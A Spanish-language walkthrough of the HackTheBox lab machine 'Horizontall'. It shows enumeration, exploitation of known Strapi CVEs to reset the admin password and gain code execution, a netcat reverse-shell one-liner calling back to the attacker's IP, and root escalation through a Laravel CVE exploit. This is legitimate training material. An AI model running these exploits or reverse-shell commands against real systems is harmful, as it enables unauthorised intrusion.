Horizontall es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Horizontall 10.10.11.105 a /etc/hosts como horizontall.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Nmap 7.70 scan initiated Tue Dec 21 17:29:30 2021 as: nmap -sC -sV -oA enumeration/nmap 10.10.11.105 Nmap scan report for 10.10.11.105 Host is up (0.048s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Did not follow redirect to http://horizontall.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Dec 21 17:29:41 2021 -- 1 IP address (1 host up) scanned in 10.57 seconds |
Observamos que sólo tenemos abierto y útil por el momento el puerto 80 así que comencemos por el.
Enumeracion
Accedemos al portal en la dirección http://10.10.11.105 y automáticamente nos redirecciona a http://horizontall.htb donde vemos la siguiente página web
Revisamos el código fuente de la misma pero no encontramos nada, lanzamos una enumeración con gobuster pero sin éxito también
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ gobuster dir -u http://horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt 2>&1 | tee enumeration/gobuster.log =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://horizontall.htb/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2021/12/21 17:33:29 Starting gobuster =============================================================== /img (Status: 301) /css (Status: 301) /js (Status: 301) =============================================================== 2021/12/21 17:40:25 Finished =============================================================== |
Parece que por aqui no van los tiros así que probamos otro escaneo a ver si encontramos más virtualhost en el servidor y parece que hemos encontrado algo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ gobuster vhost -u http://horizontall.htb/ -w /root/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://horizontall.htb/ [+] Threads: 100 [+] Wordlist: /root/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2021/12/21 17:49:59 Starting gobuster =============================================================== Found: api-prod.horizontall.htb (Status: 200) [Size: 413] =============================================================== 2021/12/21 17:51:03 Finished =============================================================== |
Hemos obtenido la dirección api-prod.horizontall.htb, así que la añadimos a nuestro fichero de hosts y vemos el siguiente portal web más simple que el anterior
Revisamos también el código fuente pero nada relevante así que enumeramos con gobuster de nuevo y en este caso si conseguimos enumerar algunos directorios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://api-prod.horizontall.htb/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2021/12/21 17:53:05 Starting gobuster =============================================================== /reviews (Status: 200) /users (Status: 403) /admin (Status: 200) /Reviews (Status: 200) /Users (Status: 403) /Admin (Status: 200) /REVIEWS (Status: 200) =============================================================== 2021/12/21 18:12:07 Finished =============================================================== |
Vamos a revisar cada una de ellas, comenzamos con /reviews la cual nos muestra un resultado en json
Lanzamos un par de curls pero no obtenemos nada más que los 3 ids que aparecen en la pantalla, así que revisamos la página de usuarios, que nos da un error 403 y la página de admin, la cual es un formulario de login.
Analizamos esta última y vemos un comentario interesante en el código fuente
Con lo que indica el comentario, revisamos los ficheros javascript y en concreto en el fichero siguiente
1 |
http://api-prod.horizontall.htb/admin/main.da91597e.chunk.js |
Encontramos algo interesante, la versión de strapi utilizada en el portal
1 |
strapi-plugin-users-permissions@3.0.0-beta.17.4 |
La cual si buscamos un poco en google dispone de las vulnerabilidades CVE-2019-18818 y CVE-2019-19609 donde la segunda corresponde a un RCE que además tiene un exploit público
Así que lanzaremos el mismo para conseguir generar unas credenciales de admin
1 2 3 4 5 6 7 8 9 10 |
python3 exploit.py http://api-prod.horizontall.htb [+] Checking Strapi CMS Version running [+] Seems like the exploit will work!!! [+] Executing exploit [+] Password reset was successfully [+] Your email is: admin@horizontall.htb [+] Your new credentials are: admin:SuperStrongPassword1 [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQwMTA3MzEzLCJleHAiOjE2NDI2OTkzMTN9.-Cr4uP771MaV_LiFb6Xjbe-ZhiMs1yOcJUgfFqRTnv8 $> |
Antes de probar las mismas, en esta shell que tenemos tratamos de lanzar un netcat y vemos que la conexión es correcta, aunque no tenemos una terminal como tal así que realizamos alguna búsqueda en gtfobins y conseguimos una shell inversa con netcat
1 2 3 |
$> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f [+] Triggering Remote code executin [*] Rember this is a blind RCE don't expect to see output |
Y tenemos nuestro acceso, aunque utilizamos python para obtener una tty en condiciones
1 2 3 4 5 6 7 8 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from horizontall.htb [10.10.11.105] 50092 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(strapi) gid=1001(strapi) groups=1001(strapi) $ python -c 'import pty;pty.spawn("/bin/bash");' strapi@horizontall:~/myapi$ |
Obteniendo la flag de user
Ahora que ya estamos dentro, revisamos los usuarios existentes y obtenemos la flag de user en la home del usuario developer
1 2 3 4 5 6 7 8 9 10 |
strapi@horizontall:~$ ls -l /home/developer ls -l /home/developer total 68 -rw-rw---- 1 developer developer 58460 May 26 2021 composer-setup.php drwx------ 12 developer developer 4096 May 26 2021 myproject -r--r--r-- 1 developer developer 33 Dec 20 20:17 user.txt strapi@horizontall:~$ cat /home/developer/user.txt cat /home/developer/user.txt axxxxxxxxxxxxxxxxxxxxxxxxxxxxx3 strapi@horizontall:~$ |
Escalado de privilegios
Ahora que ya tenemos la flag del usuario vamos a enumerar el sistema a ver de que forma podemos escalar privilegios. Revisamos los ficheros con posibles permisos, conexiones, tareas, entre otras cosas y encontramos algo interesante al revisar los puertos abiertos de la máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
strapi@horizontall:~$ netstat -ant netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 10.10.11.105:50092 10.10.14.4:4444 CLOSE_WAIT tcp 0 0 10.10.11.105:36522 10.10.14.8:9999 ESTABLISHED tcp 0 0 10.10.11.105:36510 10.10.14.8:9999 CLOSE_WAIT tcp 0 0 10.10.11.105:50076 10.10.14.4:4444 CLOSE_WAIT tcp 0 150 10.10.11.105:50098 10.10.14.4:4444 ESTABLISHED tcp 0 0 10.10.11.105:50086 10.10.14.4:4444 CLOSE_WAIT tcp 0 0 10.10.11.105:57752 10.10.14.8:999 ESTABLISHED tcp 0 0 10.10.11.105:50070 10.10.14.4:4444 CLOSE_WAIT tcp 0 0 10.10.11.105:36516 10.10.14.8:9999 CLOSE_WAIT tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN strapi@horizontall:~$ |
Donde nos choca en concreto el puerto 8000 que no sabemos de que puede ser, así que le hacemos un curl y descubrimos que se trata de un portal en laravel donde sacamos la versión concreta
1 2 3 |
strapi@horizontall:~$ curl 127.0.0.1:8000 -s |grep "Laravel v" curl 127.0.0.1:8000 -s |grep "Laravel v" Laravel v8 (PHP v7.4.18) |
Así que volvemos a buscar en google y encontramos una vulnerabilidad CVE-2021-3129 que además también dispone, en este caso, de varios exploits diferentes donde nos quedamos con uno existente en github.
Nos descargamos el mismo y lo probamos en la máquina, aunque sin éxito
1 2 3 4 5 6 7 8 9 10 11 12 13 |
strapi@horizontall:/tmp$ chmod +x exploit.py chmod +x exploit.py strapi@horizontall:/tmp$ ./exploit.py http://localhost:8000 Monolog/RCE1 "sudo su -" <t.py http://localhost:8000 Monolog/RCE1 "sudo su -" [i] Trying to clear logs [+] Logs cleared [i] PHPGGC not found. Cloning it Cloning into 'phpggc'... fatal: unable to access 'https://github.com/ambionics/phpggc.git/': Could not resolve host: github.com [-] Fail to convert logs to PHAR [i] There is no output [i] Trying to clear logs [+] Logs cleared |
En este caso el error es simple ya que no puede descargar el paquete desde github de la librería de phpggc debido a que no tienen estas máquinas salida al exterior, bueno hasta aqui fácil, lo descargamos y ejecutamos pero en este caso no conseguimos avanzar, parece que funciona pero la shell que obtnemos no devuelve nada, así que vamos a enrevesarlo un poco.
Para ello vamos a hacer un poco de forwarding ssh, de tal forma que obtengamos una shell en una primera escucha y, que la salida de esta primera nos la de en una segunda terminal con una segunda escucha.
Probamos todo esto y bingo, ha funcionado y somos root
Obteniendo la flag de root
Ahora que ya somos root sólo nos queda obtener nuestra flag con la técnica que hemos visto, por un lado lanzamos los comandos
1 2 3 4 5 |
$ nc -lvp 4445 listening on [any] 4445 ... connect to [10.10.14.4] from horizontall.htb [10.10.11.105] 54288 id cat /root/root.txt |
Y en la segunda terminal obtenemos el resultado de nuestro comando y con ello la flag de root
1 2 3 4 5 |
$ nc -lvp 4446 listening on [any] 4446 ... connect to [10.10.14.4] from horizontall.htb [10.10.11.105] 48984 uid=0(root) gid=0(root) groups=0(root) 8xxxxxxxxxxxxxxxxxxxxxxxxxxxxx2 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace